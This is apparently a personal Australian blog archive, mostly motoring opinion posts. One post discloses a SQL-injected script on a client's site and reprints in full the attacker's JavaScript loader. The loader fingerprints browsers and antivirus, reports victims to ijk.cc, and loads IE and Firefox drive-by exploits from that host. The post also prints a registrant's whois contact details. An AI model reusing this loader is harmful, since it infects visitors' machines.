God helps those who help themselves

Someone said this on the comments section of Digg. I'm not a religious person by any means, but I think it's a great message.

It was flooding in California. As the flood waters were rising, a man was on the stoop of his house and another man in a row boat came by. The man in the row boat told the man on the stoop to get in and he'd save him. The man on the stoop said, no, he had faith in God and would wait for God to save him. The flood waters kept rising and the man had to go to the second floor of his house. A man in a motor boat came by and told the man in the house to get in because he had come to rescue him. The man in the house said no thank you. He had perfect faith in God and would wait for God to save him. The flood waters kept rising. Pretty soon they were up to the man's roof and he got out on the roof. A helicopter then came by, lowered a rope and the pilot shouted down in the man in the house to climb up the rope because the helicopeter had come to rescue him. The man in the house wouldn't get in. He told the pilot that he had faith in God and would wait for God to rescue him. The flood waters kept rising and the man in the house drowned. When he got to heaven, he asked God where he went wrong. He told God that he had perfect faith in God, but God had let him drown.
"What more do you want from me?" asked God. "I sent you two boats and a helicopter."

More Hands In Our Pockets - Point To Point Speed Cameras On Tollways

ITS UP AN RUNNING, SO BE WARNED

New Legislation M5 & M7 Re Speeding Fines

M5 and the M7 are now equipped with Point to Point Speed Devices. On entering the M7 the etag beeps and a camera takes a photo of your car recording the exact time. On exiting the etag system beeps again another camera at that point takes a photo of the car and the time. Then the computer calculates the time it has taken you to travel between the two points and calculates your speed. If you completed the clocked journey too fast you are issued with a speeding ticket.

At the present the speed limit is 100K.P.H. with a tolerance of 102 maximum. Over that and you are issued with a fine automatically. What a shock some drivers are going to have when they use this roadway for a week and get a weeks' tickets BOTH WAYS. Of course your license will also be recalled for 3 months. Now with the new legislation, fighting a Speed Camera fine is almost impossible. You must prove the device is faulty and if you are not a technician working on them, you have no chance of beating the fine. The Pacific Highway has a set and these are recognized by large steel frames over the lanes with a speed camera and some distance up the road is another large metal frame with a speed camera. These new point to point systems are being put onto any expressway and highway where vehicles are not able to exit between those points.

NOTE: School zone cameras are not speed tolerant. Anything over, even 41, is a fine.

Hackers Injecting Script tags into SQL data fields

Recently, on one of my clients sites, I noticed that some hacker scum had placed a script tag on some of the pages of the site by hacking into the SQL database and inserting the said script tag into a data field. This means that when the page is loaded, the script is also loaded.

The location of the script that is referred to is:

http://ijk.cc

The whois information for ijk.cc is:

Registrant:

robert kuphal
102 Greer Drive
Brunswick, GA 31520
US
Email: phu59@aol.com

Registrar Name....: REGISTER.COM, INC.
Registrar Whois...: whois.register.com
Registrar Homepage: www.register.com
Domain Name: ijk.cc

Created on..............: Fri, Oct 27, 2006
Expires on..............: Sat, Oct 27, 2007
Record last updated on..: Sun, Dec 24, 2006

Administrative Contact:

Andrew McDonald
102 Greer Drive
Brunswick, GA 31520
US
Phone: +1.9418279024
Email: phu59@aol.com

Technical Contact:

Andrew McDonald
102 Greer Drive
Brunswick, GA 31520
US
Phone: +1.9418279024
Email: phu59@aol.com

DNS Servers:

ns82.websitewelcome.com
ns81.websitewelcome.com

The actual script that is at this locations is as follows:

// build: Fri Dec 29 07:37:24 2006

var debug=0;
var test_mode=0;
var cookie_name="userid1";
var cookie_value="11"; // increment it after each exploits update
var server_addr="ijk.cc";
var av_num_errs = 0, av_num_ready = 0, av_finished = 0;
var user_agent = "";
var os_version = 0;
var ie_version = 0, ie_build = 0, wmp_build = 0, av_id = 0;
var system_id = "none";

function print_dbg(str)

{
if (debug) {
document.writeln(str+"
");
}
}

function dbg_alert(str)
{
if (debug) {
alert(str);
}

}
function GetCookie(name) {
var dc = document.cookie;
var prefix = name + "=";
if (!dc) {
print_dbg("Cookies not set!");
return null;
}

var begin = dc.indexOf("; " + prefix);
if (begin == -1) {
begin = dc.indexOf(prefix);
if (begin != 0) {
print_dbg(prefix + " not found in cookie");
return null;
}

} else {
begin += 2;
}

var end = document.cookie.indexOf(";", begin);
if (end == -1) {
end = dc.length;
}
return unescape(dc.substring(begin + prefix.length, end));
}
function SetCookie(name, value, domain) {
var exp = new Date();
var two_years = exp.getTime() + (365 * 1 * 24 * 60 * 60 * 1000);
exp.setTime(two_years);


var curCookie = name + "=" + escape(value) + "; expires=" + exp.toGMTString();
document.cookie = curCookie;
print_dbg("Cookie ["+curCookie+"] set ok");
}


function GetUserAgent()
{
if (navigator.userAgent.indexOf("Opera") == -1 &&
navigator.userAgent.indexOf("Firefox") == -1 &&
navigator.userAgent.indexOf("MSIE") != -1 &&
navigator.userAgent.indexOf("Windows") != -1) {
return "ie";
}

if (navigator.userAgent.indexOf("Firefox") != -1) {
return "firefox";

}

if (navigator.userAgent.indexOf("Opera") != -1) {
return "opera";

}

return "unknown";

}



function GetIEBuild()

{

var fa, full_ver;

var ver_num;



oClientCaps = document.createElement("DIV");

oClientCaps.id = "oClientCaps";

oClientCaps.addBehavior("#default#clientCaps");

document.body.appendChild(oClientCaps);



full_ver = oClientCaps.getComponentVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}","componentid");



fa = full_ver.split(",");



build_num = parseInt(fa[0]) * 10000000000 + parseInt(fa[1]) * 100000000 + parseInt(fa[2]) * 10000 + parseInt(fa[3]);



return build_num;

}





function GetIEVersion()

{

var fa, full_ver;

var ver_num;



full_ver = oClientCaps.getComponentVersion ("{89820200-ECBD-11CF-8B85-00AA005B4383}","componentid");



fa = full_ver.split(",");



ver_num = parseInt(fa[0]) * 100 + parseInt(fa[1]);



return ver_num;

}



function GetWMPBuild()

{

var fa;



if (!oClientCaps.isComponentInstalled("{22D6F312-B0F6-11D0-94AB-0080C74C7E95}", "ComponentID")) {

print_dbg("WMP not installed");

return 0;

}



full_ver = oClientCaps.getComponentVersion ("{22D6F312-B0F6-11D0-94AB-0080C74C7E95}","componentid");



fa = full_ver.split(",");



build_num = parseInt(fa[0]) * 10000000000 + parseInt(fa[1]) * 100000000 + parseInt(fa[2]) * 10000 + parseInt(fa[3]);



print_dbg(fa[0]+"."+fa[1]+"."+fa[2]+"."+ fa[3]);



return build_num;



}



function GetFirefoxVersion()

{

var found_ar, fa;

var ver_str = "", ver_num = 0;



re = /\sFirefox\/([\d\.]+)\b/;

found_ar = re.exec(navigator.userAgent);



if (!found_ar) {

print_dbg("regexp failed");

return 0;

}



fa = found_ar[1].split(".");

ver_num = (parseInt(fa[0]) * 1000000) + (parseInt(fa[1]) * 10000);



if (fa.length > 2) {

ver_num += parseInt(fa[2]) * 100;

}

if (fa.length > 3) {

ver_num += parseInt(fa[3]);

}



print_dbg("Firefox version: [" + ver_num + "]");



return ver_num;

}



function GetOSVersion()

{

var found_ar;

var os_ver = 0;



re = /Windows\sNT\s(\d)\.(\d)/;

found_ar = re.exec(navigator.userAgent);



if (!found_ar) {

return 0;

}



os_ver = parseInt(found_ar[1]) * 10 + parseInt(found_ar[2]);



//print_dbg("OS Version: [" + os_ver + "]");



return os_ver;

}



function ExecScript(script_src)

{

var st = document.getElementById('script1');

st.src = script_src;



return true;

}



function ExecIframe(iframe_src)

{



var iframe = document.getElementById('iframe1');



iframe.src = iframe_src;



return true;

}



///// EXPS

//

function exp_iscomponentinstalled()

{

print_dbg("Loading exp_iscomponentinstalled() for SP0");



if (test_mode) {

dbg_alert("Exploit not loaded: test mode");

return true;

}



ExecScript("http://" + server_addr + "/E/isci/isci_my.js");

}





// Firefox compareto

//

function exp_ff104()

{

print_dbg("Loading exp_ff104()");



if (test_mode) {

dbg_alert("Exploit not loaded: test mode");

return true;

}



ExecScript("http://" + server_addr + "/E/ff104/ff104.js");

}



// Firefox navigator java

//

function exp_ff154()

{

print_dbg("Loading exp_ff154()");



if (test_mode) {

dbg_alert("Exploit not loaded: test mode");

return true;

}



ExecScript("http://" + server_addr + "/E/ff154/ff154.js");

}



// Windows 2000, IE 5.x

//

function exp_ms06_044()

{

print_dbg("Loading exp_ms06_044()");



if (test_mode) {

dbg_alert("Exploit not loaded: test mode");

return true;

}



var my_src = 'http://'+server_addr+'/E/ms06044/ww.js';

// var my_src = "ww.js"

var url = 'res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript%20language%3D%27jscript%27%20src%3D%27'+my_src+'%27%3E3C/script%3E%3C%21--//%7C0%7C0%7C0%7C0%7C0%7C0%7C0%7C0';



document.location = url;

// ExecIframe('http://'+server_addr+'/E/ms06044/ms06044.htm');

}



function exp_vml()

{

print_dbg("Loading vml_exp()");



if (test_mode) {

dbg_alert("Exploit not loaded: test mode");

return true;

}



ExecIframe('http://'+server_addr+'/E/vml/vml.htm');

}



/////////// End of EXPS /////////////////

///////////////////////////////////////////////////////



function NotifyServerStart()

{

url = "http://"+server_addr+"/cgi-bin/jl/jloader.pl?source="+

location.hostname+"&system_id="+system_id;



if (user_agent == "ie") {

url = url+"&iebuild="+ie_build+"&wmpbuild="+wmp_build+"&av_id="+av_id;

}



print_dbg("===>>> notify: user_agent=["+user_agent+"] url=["+url+"]");

try {

var sl = document.getElementById('serv_note_link');

sl.src = url;

// serv_note_link.src = url;

} catch (e) {

print_dbg("Cannot find element id=serv_note_link");

};

}



progs=['NAVCfgWizDll.NAVCfgWizMgr', // 1 NAV

'McGDMgr.DwnldGroupMgr']; // 2 McAfee



cids=['48F45200-91E6-11CE-8A4F-0080C81A28D4', // 3 trendmicro

'091EB208-39DD-417D-A5DD-7E2C2D8FB9CB', // 4 Windows Defender

'D653647D-D607-4DF6-A5B8-48D2BA195F7B', // 5 BitDefender Antivirus

'9F97547E-4609-42C5-AE0C-81C61FFAEBC3', // 6 AVG7

'65756541-C65C-11CD-0000-4B656E696100', // 7 Panda Antivirus

'1474F601-9B4B-4EB0-81FA-20F753C0E1A4', // 8 F-Prot

'D5507020-DB45-11d1-A5F0-00600872F78D', // 9 Norman Virus Control

'DD230880-495A-11D1-B064-008048EC2FC5', // 10 Kaspersky

'B089FE88-FB52-11D3-BDF1-0050DA34150D', // 11 Nod32

'472083B0-C522-11CF-8763-00608CC02F24', // 12 Avast

'45AC2688-0253-4ED8-97DE-B5370FA7D48A', // 13 Antivir

'8934FCEF-F5B8-468F-951F-78A921CD3920', // 14 Ewido

'1EB2409C-6E28-4066-9738-97A1B8F5639C', // 15 ??

'E7593602-124B-47C9-9F73-A69308EDC973', // 16 Dr Web

'B43CB0C0-84F2-11D6-A18E-00C0DF043BA4']; // 17 VBA32







function av_err_event(i) {

av_num_errs++;

cids[i] = null;

}



function av_ready_event(i) {

var str = "ready: "+cids[i];

av_num_ready++;



if (av_finished) {

return;

}

if (cids[i] != null) {

var str = "av_redy_event(): Antivirus found: "+cids[i]+"!";



av_id = progs.length + i + 1;



av_finished = 1;



dbg_alert("av_redy_event(): Antivirus found: "+cids[i]+"!");



// jl_main2();

}

}



// Return:

// 1 - antivirus found

// 0 - operation in progress

//

function StartCheckAV()

{

var txt = "";



try {

var num_errs = 0;



print_dbg("Start check progs...");



for (i = 0; i < progs.length && !av_id; i++) {

try {

print_dbg("Checking "+progs[i]+"...");

new ActiveXObject(progs[i]);

print_dbg("Antivirus installed: " + progs[i]);

av_id = i + 1;

av_finished = 1;

}

catch (e) {};

}

if (av_id) {

print_dbg("Antivirus detected av_id="+av_id+" (progs)!");

return 1;

}



print_dbg("Start check antivirus CLSIDs");



for (i = 0; i < cids.length; i++) {

print_dbg("Creating "+cids[i]+"...");

txt += '<'+'/object>';

}



document.createElement('div').innerHTML = txt;

} catch (e) {};



if (av_id) {

print_dbg("Antivirus detected av_id="+av_id+"(cids, before callbacks)!");

return 1;

}



return 0;

}



function jl_main()

{

// dbg_alert("jl_main() started!");



if (!debug) {

try {

if (GetCookie(cookie_name) == cookie_value) {

print_dbg("Est kuka!");

return false;

}

SetCookie(cookie_name, cookie_value);

} catch (e) {};

}



// Get OS and browser versions

//

os_version = GetOSVersion();

user_agent = GetUserAgent();



// document.writeln("[Photo]");





var tmp_img = document.createElement("IMG");

tmp_img.id = "serv_note_link";

tmp_img.width = 0;

tmp_img.height = 0;

tmp_img.border = 0;

tmp_img.frameborder = 0;

tmp_img.src = "about:blank";

document.body.appendChild(tmp_img);





var iframe1 = document.createElement("IFRAME");

iframe1.id = "iframe1";

iframe1.border = 0;

iframe1.frameborder = 0;

iframe1.width = 0;

iframe1.height = 0;

document.body.appendChild(iframe1);





// document.writeln("");





var script1 = document.createElement("SCRIPT");

script1.id = "script1";

document.body.appendChild(script1);



// document.writeln("");



print_dbg("OS Version: NT " + os_version);

print_dbg("Browser: " + user_agent);



// Internet Explorer

//

if (user_agent == "ie") {



// Must do GetIEBuild() first!

//

ie_build = GetIEBuild();

ie_version = GetIEVersion();

wmp_build = GetWMPBuild();



print_dbg("IE version: [" + ie_version + "]");

print_dbg("IE build: [" + ie_build + "]");

print_dbg("WMP build: [" + wmp_build + "]");



// IE 7.x

//

if (ie_version >= 700) {

system_id = "ie7";

} else if (ie_version >= 600) {

// IE 6.x

//

print_dbg("IE " + ie_version + " ");

if (os_version == 50) {

// Windows 2000

//

print_dbg("Win 2000 IE6");

system_id = "ie6_2k";



} else if (os_version == 51) {

// Windows XP

//

if (ie_build >= 60029002180) {

print_dbg("Win XP SP2");

system_id = "ie6_xpsp2";

} else if (ie_build >= 60028001106) {

print_dbg("Win XP SP1");

system_id = "ie6_xpsp1";

} else if (ie_build == 60026000000) {

print_dbg("Win XP SP0");

system_id = "ie6_xpsp0";

} else {

system_id = "ie6_xp";

print_dbg("Win XP SP unknown: " + ie_build);

}

} else {

// TODO: Support for 98, NT, Win2003, Vista

//

print_dbg("Win unsupported " + os_version);

system_id = "ie6_unknown";

}

} else if (ie_version < 600) {

// IE 5.x

//

print_dbg("IE " + ie_version + " ");

if (os_version == 50) {

// MSIE 5, Windows 2000

//

print_dbg("Win 2000");

system_id = "ie5_2k";



} else if (os_version < 50) {

print_dbg("Win NT " + os_version);

system_id = "ie5_nt";

}

}



StartCheckAV();

}



// Mozilla Firefox

//

if (user_agent == "firefox" && os_version != 0) {

var firefox_version = 0;



firefox_version = GetFirefoxVersion();



// Version <= 1.0.4

if (firefox_version <= 1000400) {

system_id = "ff104";

}



// 1.0.4 < Version < 1.5.0.4

if (firefox_version > 1000400 && firefox_version <= 1050004) {

system_id = "ff150";

}

}



jl_main2();

}



function set_window_status(stat_str)

{

window.status = stat_str;

}



function jl_main2()

{

av_finished = 1;



// print_dbg("av_on="+av_on);



NotifyServerStart();



set_window_status("Opening "+window.location.href+"...");

setTimeout("set_window_status('Done')", 5000);

print_dbg("system_id: "+system_id+" av_id="+av_id+" user_agent="+user_agent);



switch (system_id) {

case "ie7":

case "ie6_xp":

case "ie6_unknown":

case "ie6_xpsp2":

exp_vml();

break;

case "ie6_xpsp1":

exp_vml();

break;

case "ie6_xpsp0":

exp_iscomponentinstalled();

break;

case "ie6_2k":

exp_vml();

break;

case "ie5_2k":

exp_ms06_044();

break;

case "ie5_nt":

break;

case "ff104":

exp_ff104();

break;

case "ff150":

exp_ff154();

break;

default:

break;

}



// setTimeout('NotifyServerFinish()', 2000);

}





//jl_main();





// Run main function only after dom loaded

/* for Mozilla */

if (document.addEventListener) {

document.addEventListener("DOMContentLoaded", jl_main, false);

} else {

// IE

document.write("<"+"/script>");

}

I will be giving Mr Robert Kuphal of Brunswick, Georgia, USA a call to ask him why a link to a script hosted on his domain has been illegally inserted into the SQL database of the site.

Car Owners Claim NSW Police Harassing Them Based on Heresay Evidence

Came across this interesting thread on the ls1 forum tonight. There sure are some scary stories there.

Imagine, as an owner of a nice car you have a dispute with your neighbour about a fence or something and it gets personal. Your neighbour then complains about you to the cops, making up false stories about the way you drive. He might also get a couple of friends to call in aswell. You then face continuous police harassment, house calls, getting pulled over etc. etc.

Thankfully I don't have many disputes, and generally get on with most people. I also don't hoon around residential areas with a loud exhaust in the middle of the night, which I think is what pisses people off the most. I have friends who accelerate at full song down their own street at 3:00 in the morning when they are coming home from a night out, and it's a habit. Then they wonder why their neighbours hate them and their cars.

The police should be out catching people acting like idiots, not relying on the general public to report each other. It's dodgy, turns people against each other, and is too open to abuse by the public.

Harold Scruby Tries To Generate Hysteria With Misleading Videos

I found this video on Harold Scruby's website, and it's typical of the way he attempts to generate public hysteria with misleading presentation, much like Today Tonight and other such shows.

It's actually quite amusing, right up there with the "Window Tinting Homeland Security Threat".

The title of the page is: (Wait for it:) "Burnout Hoon Crash Video".

It features a guy performing a burnout in a car at first, nothing too earth shattering there.

Then, he gets the car into a doughnut, and proceeds to get out of the car, with it still performing doughnuts, while he stands next to it. He stuffs it up and ends up getting run over by his own car.

It is not the burnout that causes this guy to come unstuck, it's the fact that he gets out of the car whilst it is still moving, a very risky thing to do. I have grown up around "Hoons" and I have never seen anyone attempt this. It's totally obvious that if he had have stayed in his car, he would not have been run over by it.

Another point worth noting, is that the footage in question is not on a public road, but rather at what appears to be an appropriate location, so he is not breaking the law anyway.

A more appropriate title would be "Burnout Hoon Gets Out Of Car While Still Moving and Gets Run Over By It Video", but that wouldn't generate quite the same hysteria, and wouldn't hit the public with the same "shock" value, and wouldn't create the emotion you are trying to evoke would it Mr Scruby?

It seems that everything this idiot does and says erodes more and more into his credibility. We can only hope he is stripped of what little voice he has left, sooner rather than later. I haven't seen him appear in the media lately, hopefully they are getting the message.

Here is the link to Scruby's ridiculous attempt to get you all worked up:

Petrol Prices out of control, John Howard thinks Big Brother is important

It's an amazing state of affairs, when we have major issues with new industrial relations laws, people protesting in the streets. The oil companies (with the government riding on their back) are ripping us off, week by week.

Prime Minister John Howard made a statement on Monday, saying the Big Brother show should be axed. Big Brother, like all TV shows, will be axed when no one watches it. If it doesn't breach any laws, then it has as much right to be on air as any other TV show.

More to the point, this man is charged with making the most important decisions critical to the running of the country, and he makes a statement on something so trivial as a late night reality TV show? Is Big Brother really a big issue for this country that requires prime ministerial intervention?

I have a message to John Howard: If I don't like Big Brother, I will turn it off. I will decide if I think it's a "stupid program". One would think that such a professional politician would not make such sweeping and subjective comments.

What I do need you to do, though Mr Howard, is look into price gouging by petrol companies, as, unlike Big Brother, there is no button I can push to remove the damage the spiralling fuel prices (and the taxes you reap as a result of them) are doing to this country.

I think John Howard was perhaps trying to appeal to his conservative base of supporters by denouncing the show. Either that, or there was another issue that happened that day that he would rather we didn't know about.

BP Accused of Price Manipulation

No, they wouldn't do that would they?

Today Tonight

I found a brilliant article which basically outlines the show "Today Tonight". We could substitute the show for "60 Minutes", "A Current Affair", or any other trashy show that calls it's self a current affairs show.
Anyone who watches these shows and takes them seriously as news really must have a gullability problem. I personally find their recurring "reports" on car hoons quite a laugh. They normally find a group of idiots playing around in a car park on a Saturday night, find some stupid teenagers and ask them provicative questions that will produce the right answers. I have even heard a story of one of these groups of reporters asking drivers to do burnouts so they can get it on camera.
They then slice and dice the footage, use selective quotes, along with old footage, similar stories that they know their brain-dead audience will have forgotten about, to create a headline like "car hoons take over Sydney".
They then wheel out "experts" like Fred Nile and Harold Scruby, who really should have full time jobs on the the show, as they have just as much credibility.
Personally I couldn't care less if TV stations air this rubbish. The scary thing is that so many Australians actually watch and believe it as truth. This is obvious. If it were not the case, these shows would not still be on TV.
It would be an interesting study to see if watching shows like Today Tonight and A Current Affair actually have an impact on brain function and critical thinking ability.

- Here is another link pointing to some intelligent public criticism of trashy shows that pose as "news" such as Today Tonight.

- Yet another public forum, with some discussion of Today Tonight and A Current Affair

- Here's a great article on the way these programs exploit young people.

The Perfect Cup of Tea

I'm just listening to an intesting interview on the radio with Stephen Twinings, who is the head of the Twinings tea company. I am quite a tea drinker myself, every afternoon when I get home from work I make a strong cup with some creatine in it (for my newly found bodybuilding hobby).
Getting to the point of this little post, I heard that tea actually takes 3 minutes to properly brew in the cup. Mr Twinings has said that pot tea can tend to be better because people generally let it sit for longer than when they put a teabag in a cup. This is because when you make tea in the cup, you can see the color change, and when it goes dark, you generally pull the tea bag out because it looks ready. Apparently, this is not long enough, and the tea still has some brewing to do after the water turns dark.
So, when I get home tonight, I will take the advice of Mr Twinings and leave the teabag in the cup for a couple of minutes longer.

Cleaning Your Car

Today is Sunday, the only day I get off at the moment, and is the day of washing the car. Above is a link to a really comprehensive thread on the Australian LS1 forum that covers everything about washing your car.
Interestingly, the guy who wrote it is perminantly banned.

Ghost Rider - Nutter On a Motorbike Doing 300kph+ On Public Roads

I came across these videos on the net the other day. This guy (or a group of guys) make videos of riding flat out around Sweden. There are about 4 ghostrider videos, and there are quite a few clips available on the net. The pictures below are taken from a clip featuring a 500hp turbocharged Suzuki Hayabusa. He pops wheelies at over 300kph on public roads in daylight with traffic.

It's without doubt the most amazing footage I've ever seen. The best is the run around Stockholm, which goes for about 20 minutes and is flatout all the way. The guy has a death wish but it's very entertaining to watch and he really can ride. I have a couple of Ghost Rider videos on order from the local motorcycle shop, but they can also be purchased all over the internet.


Ghost Rider pops a wheelie at over 300kph.


The modified 500hp Hayabusa.


A picture of the turbo on the Hayabusa - Big enough for a car.


Another wheelie at massive speed

Car Ad Wowsers - This is what we're up against

I just came across this document, which outlines why the brilliant and entertaining advertisment for the Holden ute was taken off TV.

DESCRIPTION OF THE ADVERTISEMENT
The material reviewed by the Board begins with a voiceover stating "Awesome Power. Frightening Beauty. And a bad attitude" as the camera travels through a forest area at nighttime marked with a private property sign. As the camera travels through, the night time mist gets thicker and the sounds of a car engine and tyres screeching are heard getting louder and closer. The advertisement is accompanied by the soundtrack of "Highway to Hell". A huge cloud of mist and smoke reaches up into the sky and lifts to reveal the new Holden Ute. The voiceover states "The new Holden Ute. Power to burn."

THE COMPLAINT
Comments which the complainant/s made included the following:
"This obviously represented a car doing "heli?s/doughnuts/burnouts. This practice is illegal on the streets, and is dangerous."

"I find this so irresponsible and offensive considering we are losing young drivers on our roads in the thousands. I feel Holden are promoting bad attitudes and very reckless handling of a motor vehicle."

"The advertisement incites drivers to break current traffic laws ("Hooning") in the states of Queensland, Western Australia and Tasmania where such an offence may incur a penalty of permanent confiscation of the vehicle."

Who makes these complaints? What's wrong with doing hellis and burnouts in a controlled environment? How are they dangerous if there are no other people or cars around and common sense is exercised?

How many young drivers have died while doing hellis and burnouts? Since the car us usually stationary or travelling at less than walking pace when such maneuvers are being performed, I fail to see how this can be dangerous. Certainly not as dangerous as drivers jamming their brakes on infront of me when they see a roadside speed camera.

If I was a bit less sensible, reading those complaints would make me want to lay down a big fat set of linies at every opportunity, just to piss off the people who wrote them. I would argue that the wowsers are the ones who are inciting irresponsible driving.

If they want to complain about an ad that is seriously offensive, how about those inneffective "shock" ads that show traumatic car accidents and horrible situations, telling me that I will die if I drive 5kph over the speed limit. When I get home from work and put on the TV, I don't want to see a badly acted simulation of a horiffic car accident. It makes me unhappy and depressed, puts me in a bad mood and impacts on my evening when I'm supposed to be relaxing after work. I usually change the channel or make a cup of tea. If I had nothing better to do, I would file a complaint about those.

The picture below illustrates a guy (or a girl possibly) doing a classic burnout in a VP Commodore. While it is a bit of a waste of rubber and perhaps pointless is certainly can be a bit of fun. Hellies involve the car doing circles, producing similar smoke. Personally, I find hellies (doughnuts) a bit more fun than burnouts, because they involve a bit more skill, and the rear end of the car is actually moving. You can also reverse the lock at the right time and do figure eights and other silly things like that. Of course, you have to watch it or you can easilly buckle a rim if you hit a gutter (or something more expensive). Of course, it goes without saying that there are really dumb places to do stuff like this (anywhere where there may be people, traffic, buildings etc.), and there are places where it doesn't matter so much (1000km from anywhere in the outback, or on private property), although these complaining wowsers don't think you have the intelligence to work that out.



Burnouts and hellis are an integral part of Aussie culture, just like AC/DC, and their song "Highway to Hell", and must never be allowed to fall victim to the same people that want to ban bullbars, and make us use public transport by narrowing roads that are already busy. One day, if we are not careful, every last bit of harmless fun will become a socialy engineered taboo. Most Sydney motorists already trundle along blindly behind one another like sheep, with one eye on the speedometer, the other on the edge of the road looking out for speed traps.

Steering Fixed on the VP

I replaced the whole steering system last weekend. It was meant to last another week, as last weekend was meant to be the weekend to fully move out of the old house and get it ready for inspection. As it turned out, I had to do it during the week after work.

The job was really easy. I just got the front of the car up on chassis stands, removed the hydraulic lines and reservior from the pump, removed the steering linkage and hydraulic lines from the steering rack, then replaced the rack and pump, and hooked up the hydraulic lines again.

The old rack was really worn, with one of the steering rods having over 2mm of play. When the new rack went on, setting the toe-in was quite difficult. I got it near enough and went down to the wheel alignment place and got it done properly. The only other hassle was doing up the rods without breaking the rubber boots on the rack. Where the boot goes over the rod, it fits quite tight. As the rod has to be turned to tighten it, the boot tends to twist. The boots are crucial for keeping dust and road muck out of the rack. I removed the clips on the end of the boots pushed them back a bit and put WD-40 under the boot. This allowed the steering rod to turn inside the boot without damaging it.

The car now feels much better. I hadn't realised that rod was loose. The car now doesn't tend to take it's own course when it hits an irregularity in the road. Now I'm not fighting the car, it's much more relaxing to drive and gives me much more confidence at speed.

Now to do the rest of the suspension, in the next few weeks I'm getting Kings springs, Koni shocks and Nolethane bushes all round. Upgraded swaybars and a strut brace will soon follow, all in preparation for the new power plant.

Power Steering Failure

My power steering has finally decided to die. It has had major fluid leaks for a few weeks, which have slowly been getting worse. Now the pump has seized because of no power steering fluid, and the belt just makes smoke because the pully won't turn. I've just sourced a reco rack and pump for $470 from the local power steering place.

It's a common problem with the older Commodores as they are quite heavy on the front and have a sharp rack and pinion set up which relies quite heavily on hydraulics. I have been driving without power steering for a week or two which has been interesting, and has really helped build up my arm strength.

I'm looking forward to installing a nice new (reco) pump, rack, tie rod ends and I'll get a much needed wheel alignment on the weekend.

The guys at Ryde Power Steering Pty Ltd have been great. They didn't realise I needed one today, as I probably didn't explain my self properly on the phone, but they are flatout getting one ready for me before close of play today (Friday afternoon).

Here's a free plug for them, I'd give them a link, but they have no website.

M7 Toll Set To Increase Next Saturday

The toll on the M7 is set to increase next Saturday as is explained in a small obscure place on their website, which I'm not going to link to. Nice scheme. Make it cheap, get people used to it, then, when it's percieved as a good thing, fleece them for all they're worth, then a bit. This makes me glad that I never started using it.

Speed Cameras. Another Reason To Avoid Sydney's TollRoads

I am hearing from more and more people who are being booked for minor speed offences (10km over the limit) or less while using Sydney's privately owned tollroads. Namely the cross city tunnel. I just heard from a guy who was booked for doing 90 in the tunnel. The speed limit is 80 apparently.

All reports indicate that there is usually no one in the tunnel for obvious reasons. When I see stuff like this day in and day out, and premier Iemma comes on the radio saying "We only put cameras in black spots" and such meaningless idiotic statements as "There's no such thing as safe speeding", I fail to see how these cameras exist for any other reason than to make money.

Imagine paying through the nose to use an inadequately built tollroad such as the cross city tunnel, an you have only paid to use it because the roads you used to use have been closed off, and then you get pinged again with a $200 fine for going 10km/h too fast on a road with no one else on it.

Another thing that worries me, is that if one of these cameras were faulty, and I get a ticket, even though I'm not actually speeding, what comeback do I have? I get a ticket in the mail a few weeks later, and I can't even remember the trip. Most punters will get the ticket in the mail, and say "Oh, well, I must have been speeding because the camera says so", and pay the money. I would probably do the same because I don't have the time or money to fight it.

If I know a road has a speed camera, I will always choose an alternate route for this very reason, tollway or no tollway. Even if it means backstreets and speed humps. Again, I'd rather pay for tyres and suspension than give money to the government for free (well, more than I already do anyway).

I have only lost one point from my license, and that was in Melbourne, by a speed camera that was mounted within 200m of a speed limit change, and I was booked for doing 84km/h in an 80 zone. After an experience like that, one does tend to see the whole "speed kills" campaign as nothing more than propaganda to justify the rorting of motorists in this way. Safety doesn't have anything to do with it.

I would have lost many more points from my license (maybe all of them) if I had not chosen to avoid all roads with speed cameras installed. Especially when you see all the court cases being raised recently because of their alleged innacuracies.

If the government cared at all about road safety, they would make it harder to get a license, they would fix the inadequate roads and the numerous dangerous intersections that exist in Sydney. You only have to look at the on-going issues with expansion joints on the M4, and the RTA's refusal to install flashing lights around schools to inform motorists when they should slow down during shool hours to see how much the RTA and the government care about your safety.

Labor Plans to Restrict Internet In Australia

In the news today, Labor has put forward that they want to force all ISPs in Australia to filter all traffic. The plan is to filter all internet users, unless they opt out of the filter. The result of this, is that all uneducated computer users will be prevented from seeing websites that our government don't want them to see. Child protection has, of course been raised as the reason for this.

"That is not good enough when research suggests that the exposure of children and others in the community to this sickening content can lead to aggression towards women and child abuse." said Kim Beazley. What research? Who paid for that research? When was the research done? What was the nature of the study?

Too often the mainstream media sweepingly quotes "research", and that is not good enough. Government sponsored research is a crock at the best of times. We only have to look at the "research" that says I'm more likely to die if I'm breaking the speed limit by 5 km/h. It's not research, it's bollocks put forward as research to support their method of revenue raising.

Australia already has some of the tightest internet regulation in the world. Many sites were forced to move off shore because of our draconian internet censorship scheme, taking jobs with them. These wern't all porn sites either. These planned changes will bring us even closer to China.

There are already filtering program available to parents. The government's excuse is that these are too hard for most parents to install. Well, if parents are stupid enough to let their kids loose on the internet, and they don't know how to use it themselves or watch what their kids are doing, then they are negligent. I'm sorry but I just don't buy it. This is nothing to do with kids, it's about restricting information.

I don't care about the filters, I will just use encryption via a proxy, and most kids will do the same. I know of school kids that are more proficient on computers and the internet than myself, and I've been doing this a long time now. It's almost scary how good some of them are. Once everyone is using proxies, the ISPs and the government will have no way of knowing what data is being transmitted and recieved, let alone where it is going.

The internet is the last (first?) medium of free information exchange among the world's citizens. Lets not let the clowns who run this place into the ground destroy the internet for us aswell. Hopefully Labor will not get elected federally. We can only hope the rest of Australia will see what Labor has done to NSW and not let them do the same to the whole country.

Harold Scruby Nominated for Bent Spoon Award

Harold Scruby has been nominated for a Bent Spoon Award on the Australian Skeptics website.

The reasons for nomination are well explained:

Nominee: Harold Scruby
Nominated by: David Perkins
Date: 21/12/2005

For his constant refusal to let facts get in the way of an argument. This guy:

* ran over a jogger in his car, then got off because it was the joggers fault,
* created a rule to not allow Japanese or Korean people into the exclusive Cabbage Treet club (not only has the rule been overturned, so has his membership),
* was the whole Ausflag debate from a few years ago....,
* is currently the president of the Pedestrian Council of One. He is anti 4WD at the moment (despite driving one himself), anti bullbar (despite being the spokesperson for a type of bull bar!)(see Smartbar), and just basically a pain in the neck.

